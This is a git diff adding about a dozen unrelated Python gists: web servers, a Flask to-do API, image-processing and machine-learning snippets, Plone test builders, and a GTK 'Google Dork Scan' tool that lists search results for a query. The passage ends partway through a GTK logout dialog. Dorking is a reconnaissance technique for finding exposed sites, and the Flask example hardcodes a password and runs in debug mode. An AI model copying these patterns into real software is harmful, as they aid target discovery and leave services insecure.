+    def __init__(self, pubsub_channel, redis_hostname, redis_port, redis_db, redis_password=None):
+        threading.Thread.__init__(self)
+        self.pubsub_channel = pubsub_channel
+        self.redis_hostname = redis_hostname
+        self.redis_port = redis_port
+        self.redis_db = redis_db
+        self.redis_password = redis_password
+        self.subscriptions = collections.defaultdict(collections.deque)
+        self._init_redis()
+
+    def _init_redis(self):
+        self.client = self.get_redis_connection()
+        self.pubsub = self.client.pubsub()
+        self.pubsub.subscribe(self.pubsub_channel)
+
+    def get_redis_connection(self):
+        return redis.Redis(
+            self.redis_hostname,
+            self.redis_port,
+            self.redis_db,
+            self.redis_password
+        )
+
+    def subscribe(self, channel, callback):
+        self.subscriptions[channel].append(callback)
+
+    def decode_message(self, message):
+        return json.loads(message)
+
+    def parse_message(self, message):
+        msg = self.decode_message(message['data'])
+        return msg['channel'], msg['data']
+
+    def notify(self, channel, data):
+        while True:
+            try:
+                cb = self.subscriptions[channel].pop()
+            except IndexError:
+                break
+            if isinstance(cb, (weakref.ref,)):
+                cb = cb()
+            if cb is not None:
+                cb(data)
+
+    def run(self):
+        for message in self.pubsub.listen():
+            if message['type'] != 'message':
+                continue
+            self.notify(*self.parse_message(message))
+
+class SubscribeHandler(web.RequestHandler):
+
+    def __call__(self, chunk=None):
+        self.finish(chunk)
+
+    @web.asynchronous
+    def get(self, channel):
+        self.application.pubsub.subscribe(
+            channel=channel,
+            callback=weakref.ref(self)
+        )
+
+    post = get
+
+class RedisStore(web.RequestHandler):
+
+    @web.asynchronous
+    @gen.engine
+    def get(self, key):
+        client = tornadoredis.Client(
+            connection_pool=self.application.connection_pool
+        )
+        value = yield gen.Task(client.get, key)
+        self.finish(value)
+
+    post = get
+
+class HealthCheck(web.RequestHandler):
+
+    def get(self, key):
+        self.finish('OK')
+
+def start_pubsub_thread():
+    pubsub = RedisSub(
+        pubsub_channel=options.pubsub_channel,
+        redis_hostname=options.redis_hostname,
+        redis_port=options.redis_port,
+        redis_db=options.redis_db
+    )
+    pubsub.daemon = True
+    pubsub.start()
+    return pubsub
+
+def redis_store_connection_pool():
+    return tornadoredis.ConnectionPool(
+        host=options.redis_hostname,
+        port=options.redis_port,
+        max_connections=250,
+        wait_for_available=True
+    )
+
+def main():
+    options.parse_command_line()
+    application = web.Application([
+        (r"/health/", HealthCheck),
+        (r"/store/(.*)/", RedisStore),
+        (r"/(.*)/", SubscribeHandler),
+    ])
+    application.pubsub = start_pubsub_thread()
+    application.connection_pool = redis_store_connection_pool()
+    application.listen(options.webserver_port)
+    ioloop.IOLoop.instance().start()
+
+if __name__ == '__main__':
+    main()
diff --git a/hard-gists/5614326/._snippet.py b/hard-gists/5614326/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5614326/._snippet.py differ
diff --git a/hard-gists/5614326/snippet.py b/hard-gists/5614326/snippet.py
new file mode 100644
index 00000000..6e36273b
--- /dev/null
+++ b/hard-gists/5614326/snippet.py
@@ -0,0 +1,107 @@
+#!flask/bin/python
+from flask import Flask, jsonify, abort, request, make_response, url_for
+from flask.ext.httpauth import HTTPBasicAuth
+
+app = Flask(__name__, static_url_path = "")
+auth = HTTPBasicAuth()
+
+@auth.get_password
+def get_password(username):
+    if username == 'miguel':
+        return 'python'
+    return None
+
+@auth.error_handler
+def unauthorized():
+    return make_response(jsonify( { 'error': 'Unauthorized access' } ), 403)
+    # return 403 instead of 401 to prevent browsers from displaying the default auth dialog
+    
+@app.errorhandler(400)
+def not_found(error):
+    return make_response(jsonify( { 'error': 'Bad request' } ), 400)
+
+@app.errorhandler(404)
+def not_found(error):
+    return make_response(jsonify( { 'error': 'Not found' } ), 404)
+
+tasks = [
+    {
+        'id': 1,
+        'title': u'Buy groceries',
+        'description': u'Milk, Cheese, Pizza, Fruit, Tylenol', 
+        'done': False
+    },
+    {
+        'id': 2,
+        'title': u'Learn Python',
+        'description': u'Need to find a good Python tutorial on the web', 
+        'done': False
+    }
+]
+
+def make_public_task(task):
+    new_task = {}
+    for field in task:
+        if field == 'id':
+            new_task['uri'] = url_for('get_task', task_id = task['id'], _external = True)
+        else:
+            new_task[field] = task[field]
+    return new_task
+    
+@app.route('/todo/api/v1.0/tasks', methods = ['GET'])
+@auth.login_required
+def get_tasks():
+    return jsonify( { 'tasks': map(make_public_task, tasks) } )
+
+@app.route('/todo/api/v1.0/tasks/<int:task_id>', methods = ['GET'])
+@auth.login_required
+def get_task(task_id):
+    task = filter(lambda t: t['id'] == task_id, tasks)
+    if len(task) == 0:
+        abort(404)
+    return jsonify( { 'task': make_public_task(task[0]) } )
+
+@app.route('/todo/api/v1.0/tasks', methods = ['POST'])
+@auth.login_required
+def create_task():
+    if not request.json or not 'title' in request.json:
+        abort(400)
+    task = {
+        'id': tasks[-1]['id'] + 1,
+        'title': request.json['title'],
+        'description': request.json.get('description', ""),
+        'done': False
+    }
+    tasks.append(task)
+    return jsonify( { 'task': make_public_task(task) } ), 201
+
+@app.route('/todo/api/v1.0/tasks/<int:task_id>', methods = ['PUT'])
+@auth.login_required
+def update_task(task_id):
+    task = filter(lambda t: t['id'] == task_id, tasks)
+    if len(task) == 0:
+        abort(404)
+    if not request.json:
+        abort(400)
+    if 'title' in request.json and type(request.json['title']) != unicode:
+        abort(400)
+    if 'description' in request.json and type(request.json['description']) is not unicode:
+        abort(400)
+    if 'done' in request.json and type(request.json['done']) is not bool:
+        abort(400)
+    task[0]['title'] = request.json.get('title', task[0]['title'])
+    task[0]['description'] = request.json.get('description', task[0]['description'])
+    task[0]['done'] = request.json.get('done', task[0]['done'])
+    return jsonify( { 'task': make_public_task(task[0]) } )
+    
+@app.route('/todo/api/v1.0/tasks/<int:task_id>', methods = ['DELETE'])
+@auth.login_required
+def delete_task(task_id):
+    task = filter(lambda t: t['id'] == task_id, tasks)
+    if len(task) == 0:
+        abort(404)
+    tasks.remove(task[0])
+    return jsonify( { 'result': True } )
+    
+if __name__ == '__main__':
+    app.run(debug = True)
diff --git a/hard-gists/56180516c91e8b934168ea29c52ee242/._snippet.py b/hard-gists/56180516c91e8b934168ea29c52ee242/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/56180516c91e8b934168ea29c52ee242/._snippet.py differ
diff --git a/hard-gists/56180516c91e8b934168ea29c52ee242/snippet.py b/hard-gists/56180516c91e8b934168ea29c52ee242/snippet.py
new file mode 100644
index 00000000..6040b1ce
--- /dev/null
+++ b/hard-gists/56180516c91e8b934168ea29c52ee242/snippet.py
@@ -0,0 +1,23 @@
+#only dependency is pillow, just run "pip install pillow"
+#tested on python 3.6 and 2.7
+from PIL import Image
+
+mode = ["Normal", "Twitter"][1] #0 = Normal, 1 = Twitter (add clear pixel)
+number = "0001" #change to screenshot number
+drive = "E:" #change to SD card drive
+path = drive + "/luma/screenshots/"
+
+if mode == "Normal": #400x240 + 320x240, black background
+    screen = Image.new("RGB", (400, 480), 0x000000)
+else: #RGBA for transp. pixel + 0xFF for non-transp. bg
+    screen = Image.new("RGBA", (400, 480), 0xFF000000)
+
+top = Image.open(path + "top_" + number + ".bmp")
+screen.paste(top, (0, 0)) #very top left
+bot = Image.open(path + "bot_" + number + ".bmp")
+screen.paste(bot, (40, 240)) #Center below the top screen
+
+if mode == "Twitter": #transparent pixel so Twitter doesn't compress
+    screen.load()[0, 479] = (0, 0, 0, 0) #bottom left pixel
+
+screen.save("screen_" + number + ".png") #save in script directory
diff --git a/hard-gists/561bf3bf6c1477d99e7b/._snippet.py b/hard-gists/561bf3bf6c1477d99e7b/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/561bf3bf6c1477d99e7b/._snippet.py differ
diff --git a/hard-gists/561bf3bf6c1477d99e7b/snippet.py b/hard-gists/561bf3bf6c1477d99e7b/snippet.py
new file mode 100644
index 00000000..c409a345
--- /dev/null
+++ b/hard-gists/561bf3bf6c1477d99e7b/snippet.py
@@ -0,0 +1,80 @@
+from cassandra.cluster import Cluster, OperationTimedOut
+from cassandra.decoder import SyntaxException
+
+from tornado.concurrent import Future
+from tornado.testing import AsyncTestCase, gen_test
+
+
+class TornadoCassandra(object):
+
+    def __init__(self, session, ioloop):
+        self._session = session
+        self._ioloop = ioloop
+
+    def execute(self, *args, **kwargs):
+        tornado_future = Future()
+        cassandra_future = self._session.execute_async(*args, **kwargs)
+        self._ioloop.add_callback(
+            self._callback, cassandra_future, tornado_future)
+        return tornado_future
+
+    def _callback(self, cassandra_future, tornado_future):
+        try:
+            # should spend just about no time blocking.
+            result = cassandra_future.result(timeout=0)
+        except OperationTimedOut:
+            return self._ioloop.add_callback(
+                self._callback, cassandra_future, tornado_future)
+        except Exception, exc:
+            return tornado_future.set_exception(exc)
+        tornado_future.set_result(result)
+
+
+class TestTornadoCassandra(AsyncTestCase):
+
+    def setUp(self):
+        super(TestTornadoCassandra, self).setUp()
+        self.cluster = Cluster(["127.0.0.1"])
+        self.session = self.cluster.connect()
+        self.session.execute(
+            "CREATE KEYSPACE IF NOT EXISTS testingfuture WITH REPLICATION = "
+            "{ 'class': 'SimpleStrategy', 'replication_factor': 1 }")
+        self.session.execute("USE testingfuture;")
+        self.session.execute(
+            "CREATE TABLE IF NOT EXISTS footable (\n"
+            "key VARCHAR, \n"
+            "url VARCHAR, \n"
+            "PRIMARY KEY (key));")
+        self.session.execute(
+            "INSERT INTO footable (key, url) "
+            "VALUES (%s, %s)", ("foobar", "http://foo.com"))
+        self.connection = TornadoCassandra(self.session, ioloop=self.io_loop)
+
+    def tearDown(self):
+        super(TestTornadoCassandra, self).tearDown()
+        self.session.execute("DROP KEYSPACE testingfuture;")
+
+    @gen_test
+    def test_query(self):
+        results = yield self.connection.execute(
+            "SELECT key, url FROM footable;")
+        self.assertEqual(1, len(results))
+        self.assertEqual(("foobar", "http://foo.com"), results[0])
+
+    @gen_test
+    def test_exception(self):
+        with self.assertRaises(SyntaxException):
+            yield self.connection.execute("foobar!")
+
+    @gen_test
+    def test_lots_of_queries(self):
+        futures = []
+        count = 2048
+        for i in range(count):
+            futures.append(self.connection.execute(
+                "SELECT key FROM footable;"))
+        results = 0
+        for future in futures:
+            yield future
+            results += 1
+        self.assertEqual(count, results)
\ No newline at end of file
diff --git a/hard-gists/561d5eec7fed9ebf48751d124a77b087/._snippet.py b/hard-gists/561d5eec7fed9ebf48751d124a77b087/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/561d5eec7fed9ebf48751d124a77b087/._snippet.py differ
diff --git a/hard-gists/561d5eec7fed9ebf48751d124a77b087/snippet.py b/hard-gists/561d5eec7fed9ebf48751d124a77b087/snippet.py
new file mode 100644
index 00000000..57a67833
--- /dev/null
+++ b/hard-gists/561d5eec7fed9ebf48751d124a77b087/snippet.py
@@ -0,0 +1,19 @@
+import tensorflow as tf
+from tensorflow.python.framework import ops
+from tensorflow.python.ops import gen_nn_ops
+
+@ops.RegisterGradient("GuidedRelu")
+def _GuidedReluGrad(op, grad):
+    return tf.select(0. < grad, gen_nn_ops._relu_grad(grad, op.outputs[0]), tf.zeros(grad.get_shape()))
+
+if __name__ == '__main__':
+    with tf.Session() as sess:
+        g = tf.get_default_graph()
+        x = tf.constant([10., 2.])
+        with g.gradient_override_map({'Relu': 'GuidedRelu'}):
+            y = tf.nn.relu(x)
+            z = tf.reduce_sum(-y ** 2)
+        tf.initialize_all_variables().run()
+
+        print x.eval(), y.eval(), z.eval(), tf.gradients(z, x)[0].eval()
+        # > [ 10.   2.] [ 10.   2.] -104.0 [ 0.  0.]
diff --git a/hard-gists/5623772/._snippet.py b/hard-gists/5623772/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5623772/._snippet.py differ
diff --git a/hard-gists/5623772/snippet.py b/hard-gists/5623772/snippet.py
new file mode 100644
index 00000000..46c0494f
--- /dev/null
+++ b/hard-gists/5623772/snippet.py
@@ -0,0 +1,24 @@
+from django.contrib.gis.measure import D
+
+def nearby(point, radius, unit):
+    """Lists the nearest points to `point`, includes the distance from the point.
+
+    Sorted in ascending order (from closest to furthest point).
+
+    - radius, the distance to limit the search
+    - unit, can be kilometers or miles, etc.
+
+    returns a QuerySet.
+
+    See: https://docs.djangoproject.com/en/dev/ref/contrib/gis/geoquerysets/#distance
+    """
+    qs = MyModel.objects.all()
+    qs = qs.filter(point__distance_lte=(point, D(**{unit: radius})))
+    qs = qs.distance(point)  # at this point, the type of queryset is GeoQuerySet
+    qs = qs.order_by('distance')
+    return qs
+
+nearest = nearby(Point(x, y), 5, 'km')
+# => [point1, point2, ...., pointN]
+print nearest[0].distance
+# => '2392903 m'
\ No newline at end of file
diff --git a/hard-gists/562f25bbcf20691217b8/._snippet.py b/hard-gists/562f25bbcf20691217b8/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/562f25bbcf20691217b8/._snippet.py differ
diff --git a/hard-gists/562f25bbcf20691217b8/snippet.py b/hard-gists/562f25bbcf20691217b8/snippet.py
new file mode 100644
index 00000000..89286762
--- /dev/null
+++ b/hard-gists/562f25bbcf20691217b8/snippet.py
@@ -0,0 +1,192 @@
+import numpy as np
+from scipy import ndimage as ndi
+
+# lookup tables for bwmorph_thin
+
+G123_LUT = np.array([0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1,
+       0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+       0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0,
+       0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0,
+       1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0,
+       0, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+       0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+       0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+       0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+       0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 0, 0,
+       0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1,
+       0, 0, 0], dtype=np.bool)
+
+G123P_LUT = np.array([0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0,
+       0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+       0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0,
+       1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+       0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+       0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0,
+       0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0,
+       0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+       0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0,
+       1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 1,
+       0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+       0, 0, 0], dtype=np.bool)
+
+def bwmorph_thin(image, n_iter=None):
+    """
+    Perform morphological thinning of a binary image
+    
+    Parameters
+    ----------
+    image : binary (M, N) ndarray
+        The image to be thinned.
+    
+    n_iter : int, number of iterations, optional
+        Regardless of the value of this parameter, the thinned image
+        is returned immediately if an iteration produces no change.
+        If this parameter is specified it thus sets an upper bound on
+        the number of iterations performed.
+    
+    Returns
+    -------
+    out : ndarray of bools
+        Thinned image.
+    
+    See also
+    --------
+    skeletonize
+    
+    Notes
+    -----
+    This algorithm [1]_ works by making multiple passes over the image,
+    removing pixels matching a set of criteria designed to thin
+    connected regions while preserving eight-connected components and
+    2 x 2 squares [2]_. In each of the two sub-iterations the algorithm
+    correlates the intermediate skeleton image with a neighborhood mask,
+    then looks up each neighborhood in a lookup table indicating whether
+    the central pixel should be deleted in that sub-iteration.
+    
+    References
+    ----------
+    .. [1] Z. Guo and R. W. Hall, "Parallel thinning with
+           two-subiteration algorithms," Comm. ACM, vol. 32, no. 3,
+           pp. 359-373, 1989.
+    .. [2] Lam, L., Seong-Whan Lee, and Ching Y. Suen, "Thinning
+           Methodologies-A Comprehensive Survey," IEEE Transactions on
+           Pattern Analysis and Machine Intelligence, Vol 14, No. 9,
+           September 1992, p. 879
+    
+    Examples
+    --------
+    >>> square = np.zeros((7, 7), dtype=np.uint8)
+    >>> square[1:-1, 2:-2] = 1
+    >>> square[0,1] =  1
+    >>> square
+    array([[0, 1, 0, 0, 0, 0, 0],
+           [0, 0, 1, 1, 1, 0, 0],
+           [0, 0, 1, 1, 1, 0, 0],
+           [0, 0, 1, 1, 1, 0, 0],
+           [0, 0, 1, 1, 1, 0, 0],
+           [0, 0, 1, 1, 1, 0, 0],
+           [0, 0, 0, 0, 0, 0, 0]], dtype=uint8)
+    >>> skel = bwmorph_thin(square)
+    >>> skel.astype(np.uint8)
+    array([[0, 1, 0, 0, 0, 0, 0],
+           [0, 0, 1, 0, 0, 0, 0],
+           [0, 0, 0, 1, 0, 0, 0],
+           [0, 0, 0, 1, 0, 0, 0],
+           [0, 0, 0, 1, 0, 0, 0],
+           [0, 0, 0, 0, 0, 0, 0],
+           [0, 0, 0, 0, 0, 0, 0]], dtype=uint8)
+    """
+    # check parameters
+    if n_iter is None:
+        n = -1
+    elif n_iter <= 0:
+        raise ValueError('n_iter must be > 0')
+    else:
+        n = n_iter
+    
+    # check that we have a 2d binary image, and convert it
+    # to uint8
+    skel = np.array(image).astype(np.uint8)
+    
+    if skel.ndim != 2:
+        raise ValueError('2D array required')
+    if not np.all(np.in1d(image.flat,(0,1))):
+        raise ValueError('Image contains values other than 0 and 1')
+
+    # neighborhood mask
+    mask = np.array([[ 8,  4,  2],
+                     [16,  0,  1],
+                     [32, 64,128]],dtype=np.uint8)
+
+    # iterate either 1) indefinitely or 2) up to iteration limit
+    while n != 0:
+        before = np.sum(skel) # count points before thinning
+        
+        # for each subiteration
+        for lut in [G123_LUT, G123P_LUT]:
+            # correlate image with neighborhood mask
+            N = ndi.correlate(skel, mask, mode='constant')
+            # take deletion decision from this subiteration's LUT
+            D = np.take(lut, N)
+            # perform deletion
+            skel[D] = 0
+            
+        after = np.sum(skel) # coint points after thinning
+        
+        if before == after:
+            # iteration had no effect: finish
+            break
+            
+        # count down to iteration limit (or endlessly negative)
+        n -= 1
+    
+    return skel.astype(np.bool)
+    
+"""
+# here's how to make the LUTs
+
+def nabe(n):
+    return np.array([n>>i&1 for i in range(0,9)]).astype(np.bool)
+
+def hood(n):
+    return np.take(nabe(n), np.array([[3, 2, 1],
+                                      [4, 8, 0],
+                                      [5, 6, 7]]))
+def G1(n):
+    s = 0
+    bits = nabe(n)
+    for i in (0,2,4,6):
+        if not(bits[i]) and (bits[i+1] or bits[(i+2) % 8]):
+            s += 1
+    return s==1
+            
+g1_lut = np.array([G1(n) for n in range(256)])
+
+def G2(n):
+    n1, n2 = 0, 0
+    bits = nabe(n)
+    for k in (1,3,5,7):
+        if bits[k] or bits[k-1]:
+            n1 += 1
+        if bits[k] or bits[(k+1) % 8]:
+            n2 += 1
+    return min(n1,n2) in [2,3]
+
+g2_lut = np.array([G2(n) for n in range(256)])
+
+g12_lut = g1_lut & g2_lut
+
+def G3(n):
+    bits = nabe(n)
+    return not((bits[1] or bits[2] or not(bits[7])) and bits[0])
+
+def G3p(n):
+    bits = nabe(n)
+    return not((bits[5] or bits[6] or not(bits[3])) and bits[4])
+
+g3_lut = np.array([G3(n) for n in range(256)])
+g3p_lut = np.array([G3p(n) for n in range(256)])
+
+g123_lut  = g12_lut & g3_lut
+g123p_lut = g12_lut & g3p_lut
+"""
\ No newline at end of file
diff --git a/hard-gists/5633266/._snippet.py b/hard-gists/5633266/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5633266/._snippet.py differ
diff --git a/hard-gists/5633266/snippet.py b/hard-gists/5633266/snippet.py
new file mode 100644
index 00000000..023769fd
--- /dev/null
+++ b/hard-gists/5633266/snippet.py
@@ -0,0 +1,58 @@
+from collections import defaultdict
+import re
+import numpy as np
+
+from sklearn.datasets import fetch_20newsgroups
+from sklearn.feature_extraction import FeatureHasher
+from sklearn.linear_model.stochastic_gradient import SGDClassifier
+from sklearn.externals import joblib
+
+def tokens(doc):
+    """Extract tokens from doc.
+
+    This uses a simple regex to break strings into tokens. For a more
+    principled approach, see CountVectorizer or TfidfVectorizer.
+    """
+    return (tok.lower() for tok in re.findall(r"\w+", doc))
+
+def token_freqs(doc):
+    """Extract a dict mapping tokens from doc to their frequencies."""
+    freq = defaultdict(int)
+    for tok in tokens(doc):
+        freq[tok] += 1
+    return freq
+
+def chunker(seq, size):
+    """Iterate by chunks on a sequence. Here we simulate what reading
+    from a stream would do by using a generator."""
+    for pos in xrange(0, len(seq), size):
+        yield seq[pos:pos + size]
+
+categories = [
+    'alt.atheism',
+    'comp.graphics',
+    'comp.sys.ibm.pc.hardware',
+    'misc.forsale',
+    'rec.autos',
+    'sci.space',
+    'talk.religion.misc',
+]
+
+dataset = fetch_20newsgroups(subset='train', categories=categories)
+classif_data = zip(dataset.data, dataset.target)
+classes = np.array(list(set(dataset.target)))
+
+hasher = FeatureHasher()
+classifier = SGDClassifier()
+
+for i, chunk in enumerate(chunker(classif_data, 100)):
+    messages, topics = zip(*chunk)
+    X = hasher.transform(token_freqs(msg) for msg in messages)
+    y = np.array(topics)
+    classifier.partial_fit(X, 
+                           topics,
+                           classes=classes)
+    if i % 100 == 0:
+        # dump model to be able to monitor quality and later 
+        # analyse convergence externally
+        joblib.dump(classifier, 'model_%04d.pkl' % i)
diff --git a/hard-gists/5642247/._snippet.py b/hard-gists/5642247/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5642247/._snippet.py differ
diff --git a/hard-gists/5642247/snippet.py b/hard-gists/5642247/snippet.py
new file mode 100644
index 00000000..8e3dbcaf
--- /dev/null
+++ b/hard-gists/5642247/snippet.py
@@ -0,0 +1,130 @@
+from plone.dexterity.utils import createContentInContainer
+from plone.namedfile.file import NamedBlobFile
+import transaction
+
+def Builder(name):
+    if name == "dossier":
+        return DossierBuilder(BuilderSession.instance())
+    elif name == "document":
+        return DocumentBuilder(BuilderSession.instance())
+    elif name == "task":
+        return TaskBuilder(BuilderSession.instance())
+    elif name == "mail":
+        return MailBuilder(BuilderSession.instance())
+    elif name == "repository":
+        return RepositoryBuilder(BuilderSession.instance())
+    else:
+        raise ValueError("No Builder for %s" % name)
+
+
+class BuilderSession(object):
+
+    def __init__(self):
+        self.reset()
+
+    def reset(self):
+        self.portal = None
+        self.auto_commit = True
+
+    @classmethod
+    def instance(cls, *args, **kwgs):
+        if not hasattr(cls, "_instance"):
+            cls._instance = cls(*args, **kwgs)
+        return cls._instance
+
+
+class DexterityBuilder(object):
+
+    def __init__(self, session):
+        self.session = session
+        self.container = session.portal
+        self.arguments = {"checkConstraints": False}
+
+    def within(self, container):
+        self.container = container
+        return self
+
+    def titled(self, title):
+        self.arguments["title"] = title
+        return self
+
+    def with_description(self, description):
+        self.arguments["description"] = description
+        return self
+
+    def having(self, **kwargs):
+        self.arguments.update(kwargs)
+        return self
+
+    def create(self):
+        self.before_create()
+        obj = self.create_object()
+        self.after_create()
+        return obj
+
+    def before_create(self):
+        pass
+
+    def after_create(self):
+        if self.session.auto_commit:
+            transaction.commit()
+
+
+class DossierBuilder(DexterityBuilder):
+
+    def create_object(self):
+        return createContentInContainer(self.container,
+                                        'opengever.dossier.businesscasedossier',
+                                        **self.arguments)
+
+
+class DocumentBuilder(DexterityBuilder):
+
+    def with_dummy_content(self):
+        self.attach_file_containing("Test data")
+        return self
+
+    def attach_file_containing(self, content, name=u"test.doc"):
+        self.attach(NamedBlobFile(data=content, filename=name))
+        return self
+
+    def attach(self, file_):
+        self.arguments["file"] = file_
+        return self
+
+    def create_object(self):
+        return createContentInContainer(self.container,
+                                        'opengever.document.document',
+                                        **self.arguments)
+
+
+class TaskBuilder(DexterityBuilder):
+
+    def create_object(self):
+        return createContentInContainer(self.container,
+                                        'opengever.task.task',
+                                        **self.arguments)
+
+
+class MailBuilder(DexterityBuilder):
+
+    def with_dummy_message(self):
+        self.with_message("foobar")
+        return self
+
+    def with_message(self, message, filename=u'testmail.eml'):
+        file_ = NamedBlobFile(data=message, filename=filename)
+        self.arguments["message"] = file_
+        return self
+
+    def create_object(self):
+        return createContentInContainer(self.container,
+                                        'ftw.mail.mail',
+                                        **self.arguments)
+
+class RepositoryBuilder(DexterityBuilder):
+
+    def create_object(self):
+        return createContentInContainer(self.container,
+                                        'opengever.repository.repositoryfolder',
+                                        **self.arguments)
diff --git a/hard-gists/5649074/._snippet.py b/hard-gists/5649074/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5649074/._snippet.py differ
diff --git a/hard-gists/5649074/snippet.py b/hard-gists/5649074/snippet.py
new file mode 100644
index 00000000..dfd8b1c2
--- /dev/null
+++ b/hard-gists/5649074/snippet.py
@@ -0,0 +1,92 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+
+import urllib2,json
+from urllib import quote_plus,unquote_plus
+from gtk import *
+from sys import exit
+
+class GUI:
+
+	def destroy(self, widget, data=None):
+		exit()
+
+
+	def __init__(self):
+		self.window = Window(WINDOW_TOPLEVEL)
+		self.window.set_position(WIN_POS_CENTER)
+		self.window.set_size_request(400, 250)
+		self.window.set_title("Google Dork Scan V0.1")
+		self.window.set_resizable(False)
+		color = gdk.color_parse('#000000')
+		self.window.modify_bg(STATE_NORMAL, color)
+
+		fix = Fixed()
+
+		self.lb1 = Label("<span color='green'>Search:</span>")
+		self.lb2 = Label("<span color='green'>Autor: MMxM</span>")
+		self.lb3 = Label("<a href=''><span color='green'>Clear</span></a>")
+
+		self.lb3.connect("activate-link", self.clear)
+
+		self.lb1.set_use_markup(True)	
+		self.lb2.set_use_markup(True)
+		self.lb3.set_use_markup(True)
+
+		self.bt1 = Button("Start")
+		self.bt1.connect("clicked",self.busca)
+
+		self.edit1 = Entry()
+		self.edit1.set_size_request(250, 25)
+
+		self.view = TextView(buffer = None)
+		self.view.set_size_request(360, 150)
+		sw = ScrolledWindow()
+		sw.set_policy(POLICY_AUTOMATIC, POLICY_AUTOMATIC)
+		sw.add(self.view)
+
+		self.view.set_editable(False)
+		self.view.set_cursor_visible(False)
+
+		fix.put(self.lb1, 10, 22)
+		fix.put(self.lb2, 10, 215)
+		fix.put(self.lb3, 340, 215)
+		fix.put(self.bt1, 340, 17)
+		fix.put(self.edit1, 68, 17)
+		fix.put(sw, 15, 55)
+	
+		self.window.add(fix)
+		self.window.show_all()
+		self.window.connect("destroy",self.destroy)
+
+	def busca(self,widget):
+		if self.edit1.get_text() == '': return
+
+		try:
+			search = quote_plus(self.edit1.get_text())
+			n = 0
+			while True:
+				url = 'http://ajax.googleapis.com/ajax/services/search/web?v=2.0&q=%s&start=%s' %(search,n)
+				req = urllib2.Request(url)
+				response = urllib2.urlopen(req).read()
+				data = json.loads(response)
+				for extract in (data['responseData']['results']):
+					self.view.get_buffer().insert_at_cursor('%s\n'%unquote_plus(extract['url']))
+					while events_pending():
+						main_iteration()
+
+				n += 4
+		except:
+			self.view.get_buffer().insert_at_cursor('\n100% Complete !!!\n')
+
+	def clear(self, a, b):
+		self.view.get_buffer().set_text('')
+		return True
+
+	def main(self):
+		main()
+
+
+if __name__ == "__main__":
+	start = GUI()
+	start.main()
\ No newline at end of file
diff --git a/hard-gists/5650237/._snippet.py b/hard-gists/5650237/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5650237/._snippet.py differ
diff --git a/hard-gists/5650237/snippet.py b/hard-gists/5650237/snippet.py
new file mode 100644
index 00000000..02c8787a
--- /dev/null
+++ b/hard-gists/5650237/snippet.py
@@ -0,0 +1,137 @@
+#!/usr/bin/env python
+
+import pygtk
+pygtk.require('2.0')
+import gtk
+import os
+import getpass
+
+class cb_exit:
+	def disable_buttons(self):
+		self.cancel.set_sensitive(False)
+		self.logout.set_sensitive(False)
+		self.suspend.set_sensitive(False)
+		self.reboot.set_sensitive(False)
+		self.shutdown.set_sensitive(False)
+		self.hibernate.set_sensitive(False)
+
